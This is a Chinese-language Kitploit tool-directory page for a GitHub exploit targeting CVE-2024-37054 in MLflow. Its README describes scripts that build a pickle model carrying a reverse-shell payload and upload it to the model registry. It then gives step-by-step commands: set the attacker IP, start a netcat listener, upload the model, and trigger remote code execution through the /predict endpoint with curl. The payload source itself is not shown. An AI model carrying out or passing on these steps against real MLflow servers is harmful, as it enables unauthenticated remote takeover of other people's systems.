Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-37054-MLflow-reverse-shell — CVE-2024-37054 的漏洞利用程序:生成恶意 pickle 模型,将其上传至 MLflow,并通过 /predict 端点触发远程代码执行。 | Kitploit
工具/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

CVE-2024-37054 的漏洞利用程序:生成恶意 pickle 模型,将其上传至 MLflow,并通过 /predict 端点触发远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3个月前尚未审核

工具与文件


文件用途
generate_model.py生成带有反向 Shell 载荷的恶意 model.pkl
upload_model.py将 pickle 上传至 MLflow 并将其提升至 Production
sample.csv用于触发 /predict 端点的 CSV 文件

使用方法

1. 生成恶意 pickle

编辑 generate_model.py 并设置你的 tun0 IP:

root@kitploit:~
python3 generate_model.py

2. 启动监听器

root@kitploit:~
nc -lvnp 4444

3. 上传恶意模型

编辑 upload_model.py:

  • 将 MLFLOW 设置为 http://127.0.0.1:5000
  • 将 MODEL_NAME 设置为主域名上找到的活动模型名称
root@kitploit:~
python3 upload_model.py

4. 触发执行

从客户端应用获取一个新的会话 Cookie,然后:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

Shell 会回连到你的监听器上。


关键漏洞

通过 MLflow 模型注册表进行 Pickle 反序列化

MLflow 使用 Python 的 pickle.load() 加载注册的模型。通过上传精心构造的 pickle 作为模型产物并将其提升至 Production,任何后续对 /predict 的调用都会在服务端反序列化该载荷,从而以应用程序用户的身份实现未认证的 RCE。

参考资料

  • MLflow REST API 文档
  • Python Pickle 反序列化
下载工具